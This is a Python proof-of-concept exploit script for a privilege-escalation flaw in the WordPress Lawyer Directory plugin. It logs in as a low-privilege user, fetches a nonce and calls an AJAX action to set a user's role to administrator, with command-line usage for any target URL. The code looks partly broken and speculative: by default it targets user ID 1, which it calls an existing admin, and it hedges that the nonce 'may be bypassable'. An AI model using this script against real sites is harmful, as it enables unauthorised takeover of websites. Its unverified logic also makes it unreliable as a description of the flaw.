CVE-2025-67966

import requests import sys import re # CVE-2025-67966 PoC - WordPress Lawyer Directory Privilege Escalation # Target: WordPress site with Lawyer Directory plugin <= 1.3.3 def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit incorrect privilege assignment vulnerability in Lawyer Directory plugin to escalate from subscriber to administrator. Args: target_url: Base URL of WordPress site username: Low-privilege account username password: Low-privilege account password target_user_id: User ID to escalate (default: 1 = first admin) """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and 'error' in resp.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit the privilege assignment vulnerability # The plugin's AJAX handler doesn't properly check user capabilities exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Craft exploit payload to modify user role exploit_data = { 'action': 'lawyer_directory_update_user_role', 'user_id': target_user_id, 'new_role': 'administrator', 'nonce': get_nonce(session, target_url) # May be bypassable } print(f"[*] Attempting privilege escalation on user ID {target_user_id}...") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and 'success' in resp.text.lower(): print("[+] Privilege escalation successful!") print(f"[+] User ID {target_user_id} is now an administrator") return True else: print("[-] Exploit may have failed, check manually") return False def get_nonce(session, target_url): """Attempt to retrieve security nonce from plugin pages""" try: resp = session.get(f"{target_url}/wp-admin/admin.php?page=lawyer-directory") match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', resp.text) if match: return match.group(1) except: pass return '' if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] exploit_privilege_escalation(target, user, pwd)

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